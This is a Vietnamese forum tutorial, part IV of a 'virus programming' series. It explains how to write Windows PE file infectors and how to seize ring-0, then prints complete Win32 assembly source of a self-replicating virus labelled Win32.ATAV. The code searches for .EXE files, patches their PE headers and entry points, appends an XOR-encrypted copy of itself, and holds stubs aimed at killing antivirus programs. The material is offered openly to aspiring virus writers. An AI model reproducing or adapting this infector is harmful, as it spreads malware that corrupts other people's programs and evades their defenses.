Hướng dẫn lập trình Virus(Phần IV)

Bài viết liên quan: Hướng dẫn lập trình Virus (phần III)/Hướng dẫn lập trình Virus (phần V)



BÀI 4: VR TRÊN WINDOWS

OK, không thấy có bạn nào thắc mắc gì nhiều về các VR trên DOS (chắc chẳng ma nào đọc) đồng thời có nhiều bạn PM cho tôi yêu cầu được biết thêm về VR trên Win và Unix. Chính vì vậy tôi sẽ kết thúc các bài đào tạo cơ bản để chuyển sang VR for Win. Vì thời gian có hạn, tôi sẽ mặc định là các bạn đã biết cách lập VR trên DOS để tập trung phân tích những điểm khác biệt giữa 2 hệ điều hành tất nhiên ở khía cạnh VR programming. Có nhiều bạn (kể cả tôi) lập trình VR trên DOS khá suya cho đến một ngày win ra đời, mọi thứ đảo lộn tiếp cận VR trên win còn khó khăn nên nếu bác nào chưa làm VR mà đọc ngay đừng có choáng nhé. Tôi sở trường dùng ASM nên ngôn ngữ trình bày là Win32Asm.

VR có rất nhiều dạng, bản thân môi trường Win tính đa dạng và phức tạp cũng hơn DOS nhiều nên VR trên Win càng đa dạng và phong phú. Lập trình các loại VR “đơn nguyên” như VR macro hay trojan không quá phức tạp nên tôi sẽ để dành ở một bài khác. Chúng ta sẽ bắt đầu với VR .exe trên Win9x trước.

Như ta đã biết. Các bước cơ bản của VR tệp khả thi là tự copy chính đoạn mã VR vào các tệp khả thi của hệ điều hành như .exe, .com, .dll, .ocx... nhưng nạn nhân chủ yếu trên win là tệp .exe (thực tế có rất nhiều dạng khác nhưng ta tạm xét là ngoại lệ). Nguyên tắc này vẫn đúng trên các hệ điều hành Windows. Thật đáng tiếc là mức độ bảo mật và tự vệ của bản thân các HĐH windows cũng khác nhau nên nhiều VR chỉ có tính tương thích nhất định. Thao tác cần phân tích bao gồm:
- Cách thức lây lan
- Khả năng thường trú
- Khả năng kiểm soát hệ thống

Cách thức lây lan
Gần giống với VR .exe trên DOS, thao tác lây lan ở đây chỉ đơn giản là sửa lại header tệp PE trên win và attach đoạn code VR vào tệp gốc (host). Tất cả thứ chúng ta cần là cấu trúc header tệp PE của Windows. Điểm bắt đầu chương trình đặc biệt là con trỏ EIP (trên DOS là cs:ip). Tài liệu header PE có rất nhiều trên mạng, kể cả trong các tài liệu chính thức (các bạn có thể tự tìm). Trên HVA cũng có vài bài hình như của .... đề cập chi tiết nên tôi sẽ không đi sâu nữa mà chỉ nhắc lại vài điểm chính.

http://spinxspinx.bravepages.com/images/pefig01.gif

Đây là hình tôi cắt từ tài liệu msdn của microsoft (đã giới thiệu khá đầy đủ). Như vậy bản thân header của tệp PE đã bao gồm cả header của tệp .exe trên DOS. Thậm chí các chương trình for windows hầu như đều có 1 đoạn code chạy trên DOS để in ra thông báo dạng “This program cannot be run in DOS mode”. Như thế một chương trình có thể vừa for win vừa for dos được không? Câu trả lời là được và VR cũng vậy.
OK, vậy là ta đã có thể lây lan được tệp PE rồi phải không ạ? Chi tiết hơn một chút về kỹ thuật, ta dùng gì để ghi lên các tệp đây? Trên dos thông thường ta lợi dụng bản thân các ngắt của DOS để ghi, cụ thể là ngắt 21h. Tương tự nền tảng trên win là các API, hãy tận dụng tối đa. VR chỉ là một đoạn code. Vị trí của nó thay đổi theo kích thước host chính vì vậy các offset tuyệt đối bị di rời loạn xạ. Lưu ý với VXer là phải sử dụng địa chỉ tương đối cho các biến của mình. Đã từng làm VR trên DOS chắc các bạn đều rõ điều này. Kỹ thuật cổ xưa vẫn áp dụng được. Đấy là thao tác dùng delta:

call Delta
Delta:
pop ebp

Khi gọi ngắt trên dos, địa chỉ ngắt luôn được HĐH tự động xác định qua bảng vector ngắt. Cứ việc gọi int xxx (0CD/xxx) việc còn lại là của CPU. Với API lại khác. API thực chất chỉ là các hàm thư viện viết sẵn của HĐH và load lên bộ nhớ như một chương trình. Để gọi được nó cần có địa chỉ của nó trong tay. Đương nhiên câu hỏi được đặt ra là vậy các chương trình “hợp pháp” gọi API như thế nào? Ta quay trở lại với khái niệm cơ bản trên windows. Các chương trình sau khi biên dịch đều có một bảng import table. Các hàm API chương trình sẽ sử dụng đều được ghi trong import table. Khi chương trình chạy windows loader sẽ làm nhiệm vụ xây dụng một bảng địa chỉ IAT (import address table) cho các hàm này. Thật đáng tiếc ta không thể thay đổi bảng này vì windows đã để mắt đến nó. Vì vậy để goi API từ VR ta phải làm lại thao tác của loader và xây dựng bản địa chỉ riêng.

Khi đó lệnh gọi tương đối hàm API sẽ có dạng

call [ebp+_]

ebp+_ ==> chứa địa chỉ hàm API

APIs nó nằm ở đâu bạn không hề biết, làm sao bây giờ. Đâu có đó, thịt chó còn có rau thơm. Windows cung cấp cho ta một hàm để lấy địa chỉ các làm API theo tên là hàm là GetProcAddress. Vấn đề là ở đây là GetProcAddress cũng là 1 hàm API. :ph34r: Vậy yêu cầu tối thiểu là phải có địa chỉ 1 hàm GetProcAddress trong Windows. Hàm này thuộc kernel của win nên bây giờ câu hỏi chỉ còn kernel của windows nằm ở đâu. Trả lời điều này dễ hơn nhiều. Ta có ngay một danh sách:

0BFF70000h = Win95 Kernel Addr
077F00000h = WinNT Kernel Addr
077e00000h = Win2k Kernel Addr

Ta có thể yên tâm sử dụng cho đến khi Microsoft thay đi mất. :huh: Thực ra địa chỉ này có thể không hoàn toàn chính xác như vậy. Ta nên kiểm tra ký tự “MZ” (header của file kernel32.dll) để xác định chính xác vị trí kernel. Có kernel header đối chiếu export/import table của kernel để đọc địa chỉ hàm API theo tên. Oải quá phải không? Đáng tiếc là no way. Thực ra cũng không quá khó đâu vì tất cả đều có trong PE/NE HEADER. Các bạn đọc và nghiền ngẫm kỹ lại đi.

Thường trú
Thao tác thường trú thực chất nhằm tăng khả năng lây lan và kiểm soát hệ thống. DOS là hệ điều hành đơn nhiệm, tốc độ các máy thời xưa không nhanh lắm. Nếu thao tác lây lan chỉ thực hiện lúc đầu khi ta chưa khả quyền điều khiển về host sẽ làm chậm thao tác load của chương trình ngoài ra phạm vi tìm kiếm của chương trình tương đối hẹp nên nên lây lan không đa dạng và nhanh chóng. Với tốc độ máy hiện nay, và với khả năng đa nhiệm của Win điều này không còn quá quan trọng như xưa. Thực tế số lượng VR không thường trú trên Win nhiều hơn Dos rất nhiều. Tuy vậy ta đã quá quen với VR thường trú, khi VR không thường trú VXer có cảm giác mình chưa thực sự kiểm soát máy nạn nhân (tôi cũng vậy). Để có một VR không thường trú trên Win không khó lắm. Bất quá cũng chỉ là một chương trình đọc ghi tệp bằng API viết trên ASM. Bạn đã lập VR trên DOS, đọc qua header PE file -> done. Thường trú trên Win không đơn giản như vây. Cái khó của ta là gì? Protected mode!
Vây có cách nào vượt qua protected mode không? Có chứ nhiều là đằng khác. Sau khi suy nghĩ tôi quyết định chọn giới thiệu cho các bạn 2 cách đơn giản nhất và kỹ thuật cao nhất. Nhưng trước hết Protected mode là gì.

Chúa ơi, muộn quá rồi. Tôi phải đi ngủ vậy không ngày mai toi mất. Vì thời gian có hạn không thể trình bày chi tiết hơn được các bác thông cảm. Có gì thắc mắc cứ post lên tôi sẽ từ từ giải đáp sau.

Ta lại tiếp tục nhé. Lần trước tôi dừng ở đâu nhỉ? Protected Mode là gì. Windows làm việc trong một môi trường bảo vệ. Nhờ đó nó có thể kiểm soát được các thao tác truy nhập cấp thấp của các ứng dụng. Đến đây có sự phân hoá mức độ an toàn bảo vệ khá rõ giữa các windows. Ta phân tích với win9x để lấy khái niệm rồi các bài sau ta sẽ đưa ra các tips&tricks có thể lợi dụng của win2k/xp

Vector ngắt:
Lên windows thường có một câu hỏi ai cũng nghĩ đến là các vector ngắt đi đâu và liệu ta có sử dụng được các ngắt ngày xưa không? Xét một cách sâu xa, ngắt (interrupt) không phải chỉ là khái niêm của hệ điều hành. Đây là tính năng của bộ vi xử lý. Thực ra trên windows các ngắt vẫn có chứ không biến mất. Việc gọi các vector ngắt windows vẫn hỗ trợ nhưng kiểm soát và hạn chế hơn rất nhiều. Các thao tác “bá đạo” như VR hay một chương trình lập trình hệ thống hay làm sử dụng các ngắt truy nhập cấp thấp sẽ gây ra lỗi bảo vệ. Trước kia trên DOS các vector ngắt có thể thay đổi dễ dàng bằng cách thay đổi địa chỉ trong bảng vector ngắt IVT (Interrupt Vector Table), trong chế độ protected bảng IDT (Interrupt Descriptor Table) sẽ lưu giữ các vector ngắt này. Thay đổi IDT có thể tạo cho ta hiệu ứng tương đương như trên dos nhưng việc này chẳng dễ dàng tí nào cả.

Bộ nhớ:
Để có chế độ bảo vệ, windows không thể đạt được nếu chỉ dựa vào phần mềm. Đây là nhờ có sự trợ giúp kiểm soát của phần cứng đặc biệt là bộ vi xử lý. Các ứng dụng chạy trong chế độ bảo vệ của windows thường có bảng IDT/IVT và bộ nhớ riêng và chạy như một hệ thống khép kín đọc lập. Mọi thao tác trực tiếp đến vùng nhớ ngoài ứng dụng đều gây ra lỗi bảo vệ (truy nhập không hợp lệ).

Rings:
Vậy bản thân windows kiểm soát hệ thống ở cấp thấp như thế nào? Ta có khái niệm rings. Đây là các “đặc quyến” các ứng dụng trên win có thể có. Một chương trình thông thường chạy ở ring-3 (có ít sức mạnh nhất) và kernel hệ thống chạy ở ring-0 có đặc quyền tối thượng. Việc cướp ring-0 của win sẽ cho ta sức mạnh kiểm soát toàn bộ hệ thống. Bạn muốn xoá CMOS (cổng 70h) ư? Hay đơn giản là kêu trên PC một âm thanh qua port timer? Bạn phải có ring-0. Bạn muốn có bảng vector ngắt riêng? Lại là ring-0. Việc của win là nắm chắc ring-0 còn việc của ta là cướp nó. Có một số sơ hở của windows dẫn đến các VXer lợi dụng cướp được ring-0 (ví dụ như VR nổi tiếng CIH). Tôi đã thử một vài kỹ thuật như vậy và sẽ trình bày lại với các bạn nhưng thật đáng tiếc tôi chưa bao giờ thành công với winNT/2k/xp.

Các kiến thức nho nhỏ tôi vừa trình bày chung quy chỉ để giải quyết vấn đề thường trú và kiểm soát hệ thống. Thường trú trên DOS rất dễ, ta có thể thay đổi khối nhớ MCBs của DOS hay đơn giản là tìm khoảng nhớ nào ít người dùng thì điềm nhiên “chui vào”. Ở chế độ bảo vệ, ta không làm được như vậy. Tôi đã hứa đưa ra 2 cách, một là cách đơn giản nhất, 2 là cách sử dụng kỹ thuật cao. Các bạn có thể đoán được cách thứ 2 là rings.

.386p
.Model Flat
jumps

.Data

db ?

extrn GetModuleHandleA :proc
extrn ExitProcess :proc

extrn MessageBoxA :proc

VirusSize equ Virus_End-Start
SizeCrypt equ Crypt_End-Crypto

include mz.inc
include pe.inc ;include files from Jacky Qwerty/29A
include win32api.inc
include useful.inc

.Code
Virus_Size equ Virus_End-Start

Start:
pushad
;Sử­ dụng kỹ thuậ­t bẫy lỗi SEH, kỹ thuậ­t này rất, rất hấp dẫn không chỉ cho lậ­p trình VR mà cần cho lập trình hệ thống nói chung.

;Nhưng tôi sẽ không trình bày sâu hơn ở đy, tài liệu nó có rất nhiều trên net, các bác tập nghiên cứu thêm.
@SEH_SetupFrame
xchg [edx], eax

seh_fn:

call Base1

Base1:
pop ebp
sub ebp,offset Base1
FirstGeneration:
call Mutate1
Crypto:

Virus_Start:

;Quét kernel nhằm tìm APIs tôi đã trình bày ở trên (xem lại bài học)
call Kernel?

mov esi, ebx
mov ebx,[esi+10h]
add ebx,[ebp + imagebase]
mov [ebp + offset f_RVA],ebx
mov eax,[esi]
jz Not_Found_Kernel32

mov esi,[esi]
add esi,[ebp + offset imagebase]
mov edx,esi
mov ecx,[ebp+offset importsize]
mov eax,0

Jmp Get_Module_Handle

coded db 'Win32.ATAV oded by Radix16[MIONS]',0
maintext db 'Heayaaa',0
Kernel?:

mov esi,[ebp + offset imagebase]
cmp word ptr[esi],'ZM'
jne GetEnd

add esi,3ch
mov esi,[esi]
add esi,[ebp + offset imagebase]
push esi
cmp word ptr [esi], 'EP' ;Win App PE
jne GetEnd

add esi, 28h
mov eax, [esi]
mov [ebp+entrypoint], eax
pop esi
add esi,80h
mov eax,[esi]
mov [ebp+importvirtual],eax
mov eax,[esi+4]
mov [ebp+importsize],eax
mov esi,[ebp+importvirtual]
add esi,[ebp + offset imagebase]
mov ebx,esi
mov edx,esi
add edx,[ebp + importsize]

Search_Kernel:
mov esi,[esi + 0ch]
add esi,[ebp + offset imagebase]
cmp [esi],swKernel32
Je K32Found
add ebx, 14h
mov esi, ebx
cmp esi, edx
jg Not_Found_Kernel32
jmp Search_Kernel

K32Found:
ret

Not_Found_Kernel32:
mov eax, dword ptr [esp]

find_base_loop:
cmp dword ptr [eax+0b4h], eax
je Found_Adress
dec eax
cmp eax, 40000000h
jbe assume_hardcoded
jmp find_base_loop

assume_hardcoded:
mov eax, 0BFF70000h ;không tìm thấy ta có thể hardcode Địa chỉ kernel (xem lại bài học)
cmp word ptr [eax], 'ZM' ;kiểm tra image của kernel
je Found_Adress
mov eax, 07FFF0000h

Found_Adress:
mov [ebp+offset Kernel32], eax
mov edi, eax
cmp word ptr [edi],'ZM'
jne GetEnd
mov edi, [edi+3ch]
add edi, [ebp+offset Kernel32]
cmp word ptr [edi],'EP'
jne GetEnd

pushad

mov esi,[edi+78H]
add esi,[ebp+offset Kernel32]
mov [ebp+offset Export],esi
add esi,10H
lodsd
mov [ebp+offset basef],eax
lodsd
lodsd
mov [ebp+offset limit],eax
add eax, [ebp+offset Kernel32]
lodsd
add eax,[ebp+offset Kernel32]
mov [ebp+offset AddFunc],eax
lodsd
add eax, [ebp+offset Kernel32]
mov [ebp+offset AddName],eax
lodsd
add eax,[ebp+offset Kernel32]
mov [ebp+offset AddOrd],eax
mov esi,[ebp+offset AddFunc]
lodsd
add eax,[ebp+offset Kernel32]

mov esi, [ebp+offset AddName]
mov [ebp+offset Nindex], esi
mov edi,[esi]
add edi,[ebp+offset Kernel32]
mov ecx,0
mov ebx,offset API_NAMES
add ebx,ebp

TryAgain:
mov esi,ebx
MatchByte:
cmpsb
jne NextOne

cmp byte ptr [edi], 0
je GotIt
jmp MatchByte

NextOne:
inc cx
cmp cx, word ptr [ebp+offset limit]
jge GetEnd

add dword ptr [ebp+offset Nindex], 4
mov esi, [ebp+offset Nindex]
mov edi, [esi]
add edi, [ebp+offset Kernel32]
jmp TryAgain

GotIt:
mov ebx,esi
inc ebx
shl ecx,1

mov esi, [ebp+offset AddOrd]
add esi,ecx
xor eax,eax
mov ax,word ptr [esi]
shl eax, 2
mov esi,[ebp+offset AddFunc]
add esi,eax
mov edi,dword ptr [esi]
add edi,[ebp+offset Kernel32]

mov [ebp+offset ddGetProcAddress], edi
popad

mov esi, offset swExitProcess
mov edi, offset ddExitProcess
add esi, ebp
add edi, ebp
;Quét địa chỉ các hàm APIs (xem lại bài học)
Repeat_find_apis:
push esi
mov eax,[ebp+offset Kernel32]
push eax
mov eax,[ebp+offset ddGetProcAddress]
call eax
cmp eax,0
je GetEnd
stosd

repeat_inc:
inc esi
cmp byte ptr [esi], 0
jne repeat_inc
inc esi
cmp byte ptr [esi], 0FAh
jne Repeat_find_apis

Jmp Virus_Game

Get_Module_Handle:
cmp dword ptr [edx],0
je Not_Found_Kernel32
cmp byte ptr [edx+3],80h
je Not_Here
mov esi,[edx]
push ecx
add esi,[ebp + offset imagebase]
add esi,2
mov edi,offset gmhGetModuleHandleA
add edi,ebp
mov ecx,gmhsize
rep cmpsb
pop ecx
je f_GetModuleHandelA
Not_Here:
inc eax
add edx,4
loop Get_Module_Handle
jmp Not_Found_Kernel32
f_GetModuleHandelA:
shl eax,2
mov ebx,[ebp+offset f_RVA]
add eax,ebx
mov eax,[eax]

mov edx,offset se_Kernel32
add edx,ebp
push edx
call eax
cmp eax,0
jne Found_Adress
Jmp Not_Found_Kernel32

Virus_Game:
push offset SystemTime
mov eax,[ebp + ddGetSystemTime]
call eax

cmp byte ptr [SystemTime.wMonth],0Ah
jne Next_Game
cmp byte ptr [SystemTime.wDay],0Fh
jne Next_Game

jmp Ok_Day_Month

Next_Game:
mov dword ptr [ebp+offset infections], 0Ah

call SearchFiles
inc eax
jz GetEnd
dec eax
push eax
mov ecx,[edi.FileSizeLow] ;zisti velikost souboru
lea esi,[edi.FileName]
call Infect
jc _try
dec dword ptr [ebp+offset infections]
cmp word ptr [ebp+offset infections], 0
je All_Done
_try:
push edi
lea edi, [edi.FileName]
mov ecx, 13d
mov al, 0
rep stosb
pop edi
pop eax
push eax
push edi
push eax
call dword ptr [ebp+offset ddFindNextFileA]
test eax,eax
jz All_Done
mov ecx,[edi.FileSizeLow] ;zisti velikost souboru
lea esi,[edi.FileName]
call Infect
jc failinfection
dec dword ptr [ebp+infections]
failinfection:
cmp dword ptr [ebp+infections], 0
jne _try

All_Done:
pop eax
GetEnd:
cmp ebp, 0
je _exit
mov eax,[ebp + offset oldip]
add eax,[ebp + offset imagebase]
jmp eax
_exit:
push 0
mov eax, [ebp+offset ddExitProcess]
call eax

PEheader dd 0
oldip dd 0
oldsize dd 0
newsize dd 0
incsize dd 0
newip dd 0

;Bắt đầu lây nhiễm lên PE
Infect proc

pushad
add ecx,VirusSize ;kích thước VR
mov word ptr [ebp+infectionflag], 0
mov [ebp + offset memory],ecx
call OpenFile ;mở tệp lây nhiễm
mov [ebp+offset filehandle], eax ;
inc eax ; eax -1
jz Endus
call CMapFile
or eax,eax
jz Endus
call MapView
or eax,eax
jz Exit_Map
mov esi,eax
mov [ebp+offset mapaddress],esi

cmp word ptr[esi],'ZM' ;mã tệp EXE
jne UnMapw

mov ebx,dword ptr[esi+3ch]
cmp word ptr [esi+ebx],'EP' ;mã tệp PE
jne UnMapw
add esi,ebx
mov [PEheader+ebp], esi
mov eax, [esi+28h]
mov [oldip+ebp],eax
mov eax,[esi+3ch]
push eax
xor eax, eax
mov ebx,[esi+74h]
shl ebx,3
mov ax,word ptr [esi+6h]
dec eax
mov ecx,28h
mul ecx
add esi,78h
add esi,ebx
add esi,eax

or dword ptr ds:[esi+24h],0A0000020h

mov eax,[esi+10h]
mov [oldsize+ebp],eax
add dword ptr [esi+8h],VirusSize

mov eax,[esi+8h]
pop ebx
mov ecx,ebx
div ecx
mov ecx,ebx
sub ecx,edx
mov [esi+10h],ecx
mov eax,[esi+8h]
add eax,[esi+10h]
mov [esi+10h],eax
mov [ebp+offset newsize], eax

mov eax,[esi+0ch]
add eax,[esi+8h]
sub eax,VirusSize
mov [newip+ebp],eax

mov eax,[ebp+offset oldsize]
mov ebx,[ebp+offset newsize]
sub ebx,eax
mov [ebp+offset incsize], ebx

mov eax,[esi+14h]
add eax,[ebp+offset newsize]
mov [ebp+offset newfilesize], eax

mov eax, [esi+14h]
add eax,[esi+8h]
sub eax,VirusSize
add eax,[ebp+offset mapaddress]

call Write_File

mov esi,[ebp+offset PEheader]
mov eax,[newip+ebp]
mov [esi+28h],eax
mov eax, [ebp+offset incsize]
add [esi+50h], eax

UnMapw:
push dword ptr [ebp+offset mapaddress]
mov eax, [ddUnmapViewOfFile+ebp]
Call eax

Exit_Map:
push dword ptr [ebp+offset maphandle]
mov eax,[ddCloseHandle+ebp]
call eax

push dword ptr [ebp+offset filehandle]
mov eax, [ddCloseHandle+ebp]
call eax
Jmp Complete?
infection_error:
stc
jmp Endus
Complete?:
cmp word ptr [ebp+offset infectionflag], 0FFh
je infection_error
clc

Endus:
popad
ret
Infect endp

SearchFilesN proc

ret
SearchFilesN endp

;Tìm kiếm file “nạn nhân”
SearchFiles proc
lea edi,[ebp + offset search]
mov eax,edi
push eax
lea eax,[ebp + offset _Exe]
push eax
call dword ptr[ebp+offset ddFindFirstFileA]
ret
SearchFiles endp

memory dd 0
maphandle dd 0
mapaddress dd 0

CMapFile proc
push 0
push dword ptr [ebp+offset memory] ;
push 0
push PAGE_READWRITE ;R/W
push 0
push dword ptr [ebp+offset filehandle] ;handle
mov eax,dword ptr [ddCreateFileMappingA+ebp]
call eax
mov [ebp+offset maphandle], eax
ret
CMapFile endp

MapView proc
push dword ptr [ebp+offset memory]
push 0
push 0
push FILE_MAP_ALL_ACCESS
push eax
mov eax,[ddMapViewOfFile+ebp]
call eax
ret
MapView endp

filehandle dd 0 ;rukojet souboru

OpenFile proc
push 0 ;Atribute
push 0
push 3 ;Có overwrite (xem lại mô tả hàm API CreateFileA)
push 0
push 1
push 80000000h or 40000000h ;read & write
push esi ;tên tệp
mov eax, [ddCreateFileA+ebp] ;
Call eax ;gọi hàm API
ret ;zpet
OpenFile endp ;v eax je rukojet souboru

;Kỹ thuậ­t Anti-AV. Tất cả trình bày trong Kỹ thuậ­t lậ­p trình VR thì phải. Đây là cách “giết người diệt khẩu” nếu có AV dám lảng vảng
Kick_AV proc
push eax
cdq
push edx
; call FindWindowA
xchg eax, ecx
jecxz quit

push edx
push edx
push 12h
push ecx
; call PostMessageA
quit:
ret

Kick_AV endp

Delete_AV proc

Delete_AV endp

Ok_Day_Month:

nop
imagebase dd 00400000h
swKernel32 = 'NREK'
Kernel32 dd 00000000h
importvirtual dd ?
importsize dd ?
entrypoint dd ?
f_RVA dd ?
Nindex dd 0
basef dd 0
Export dd 0
limit dd 0

AddFunc dd 0
AddName dd 0
AddOrd dd 0

newfilesize dd 0

infectionflag dw 0
gmhGetModuleHandleA db 'GetModuleHandleA',0
gmhsize = $-gmhGetModuleHandleA

API_NAMES:
swGetProcAddress db 'GetProcAddress',0
swExitProcess db 'ExitProcess',0
swGetVersion db 'GetVersion',0
swFindFirstFileA db 'FindFirstFileA',0
swFindNextFileA db 'FindNextFileA',0
swGetCurrentDirectory db 'GetCurrentDirectoryA',0
swSetCurrentDirectory db 'SetCurrentDirectoryA',0
swDeleteFile db 'DeleteFileA',0
swCreateFileMapping db 'CreateFileMappingA',0
swMapViewOfFile db 'MapViewOfFile',0
swUnmapViewOfFile db 'UnmapViewOfFile',0
swGetFileAttributes db 'GetFileAttributesA',0
swSetFileAttributes db 'SetFileAttributesA',0
swGetDriveType db 'GetDriveTypeA',0
swCreateFile db 'CreateFileA',0
swCloseHandle db 'CloseHandle',0
swGetFileTime db 'GetFileTime',0
swSetFileTime db 'SetFileTime',0
swSetFilePointer db 'SetFilePointer',0
swGetFileSize db 'GetFileSize',0
swSetEndOfFile db 'SetEndOfFile',0
swGetSystemTime db 'GetSystemTime',0
swGetModuleHandle db 'GetModuleHandleA',0
swWriteFile db 'WriteFile',0
db 0FAh

ddGetProcAddress dd 0
ddExitProcess dd 0
ddGetVersion dd 0
ddFindFirstFileA dd 0
ddFindNextFileA dd 0
ddGetCurrentDirectoryA dd 0
ddSetCurrentDirectoryA dd 0
ddDeleteFileA dd 0
ddCreateFileMappingA dd 0
ddMapViewOfFile dd 0
ddUnmapViewOfFile dd 0
ddGetFileAttributesA dd 0
ddSetFileAttributesA dd 0
ddGetDriveTypeA dd 0
ddCreateFileA dd 0
ddCloseHandle dd 0
ddGetFileTime dd 0
ddSetFileTime dd 0
ddSetFilePointer dd 0
ddGetFileSize dd 0
ddSetEndOfFile dd 0
ddGetSystemTime dd 0
ddGetModuleHandleA dd 0
ddWriteFile dd 0

max_path EQU 260

se_Kernel32 db 'KERNEL32.dll',0

Anti_AV:

_Grisoft db 'avg?????.dat',0
_AVP db 'AVP.CRC',0
_TBAW db 'anti-vir.dat',0
_MSAV db 'CHKLIST.MS',0

_Kaspersky_ db 'AVP Monitor',0
_Grisoft_ db 'AVG Control Center',0

_Exe db '*.EXE',0
infections dd 0

fnx dd 0

Crypt_End:

Mutate1:

mov ecx,SizeCrypt
lea esi,[ebp + Crypto]
decr:
xor dword ptr [esi],0FFh
inc esi
loop decr
End_Mutate:
ret

Write_File proc
call Mutate1
mov edi, eax
lea esi,[Start+ebp]
mov ecx, VirusSize
rep movsb
call Mutate1
ret
Write_File endp

Virus_End:

SYSTEMTIME struct

wYear WORD ?
wMonth WORD ?
wDayOfWeek WORD ?
wDay WORD ?
wHour WORD ?
wMinute WORD ?
wSecond WORD ?
wMilliseconds WORD ?
ends

filetime STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
filetime ENDS

win32_find_data STRUC
FileAttributes DD ?
CreationTime filetime ?
LastAccessTime filetime ?
LastWriteTime filetime ?
FileSizeHigh DD ?
FileSizeLow DD ?
Reserved0 DD ?
Reserved1 DD ?
FileName DB max_path DUP (?)
AlternateFileName DB 13 DUP (?)
DB 3 DUP (?)
win32_find_data ENDS

search win32_find_data ?
SystemTime SYSTEMTIME <>

windir db 128h dup(0)
sysdir db 128h dup(0)
crtdir db 128h dup(0)

Virtual_End:

;thuật toán mã hóa sử­ dụng hơi ... ruồi quá nhưng cũng tiện để học cho newbie
First_Gen:
pushad
call Next_Gen

Next_Gen:
pop ebp
sub ebp,offset Next_Gen

mov ecx,SizeCrypt
lea esi,[ebp + Crypto]
decri:
xor dword ptr [esi],0FFh
inc esi
loop decri

push 0
push offset TextF
push offset TextF1
push 0
call MessageBoxA

popad
Jmp Start

TextF db 'Win32.ATAV by Radix16[MIONS]',0
TextF1 db 'First generation sample',0h